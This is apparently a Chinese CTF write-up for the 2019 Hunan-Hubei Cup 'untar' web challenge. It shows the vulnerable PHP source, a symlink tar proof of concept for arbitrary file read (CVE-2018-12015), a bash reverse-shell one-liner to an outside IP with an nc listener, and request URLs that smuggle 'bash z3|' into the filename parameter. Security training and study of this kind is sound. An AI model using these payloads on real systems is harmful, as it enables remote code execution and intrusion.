untar

发表于 2021-01-04 分类于 Challenge， 2019， 湖湘杯， Web
Challenge | 2019 | 湖湘杯 | Web | untar

点击此处获得更好的阅读体验

直接访问题目可以看到源码

```
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
    die();
$url  = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);
```

但是直接传马发现不解析，于是搜索了一下，发现 CVE-2018-12015: Archive::Tar: directory traversal利用这个软连接可以来进行任意文件读取，具体poc如下

```
ln -s /var/www/html/index.php content
tar cvf exp.tar content
tar -tvvf exp.tar
php -S 0.0.0.0:2233
```

http://183.129.189.62:16407/?url=http://ezlovell.zeroyu.xyz:2233/exp.tar&filename=exp.tar但是这个方法没有办法读取到flag，之后参考之前hitcon的ssrfme一题，发现可以在UNTAR处进行RCE，因此有了如下的exp

服务器信息：202.182.115.203 2233 首先在服务器的z3文件中写入如下语句，方便后续执行进行反弹shell

```
bash -i >& /dev/tcp/202.182.115.203/2333 0<&1 2>&1
```

之后启动监听和一句话服务器，一句话服务器主要用于下载z3文件

```
php -S 0.0.0.0:2233
nc -lvp 2333
```

之后按照顺序执行下列语句即可获取反弹的shell

```
http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=z3
http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=bash z3|
```


 # Challenge # Web # 2019 # 湖湘杯
thinkphp
云安全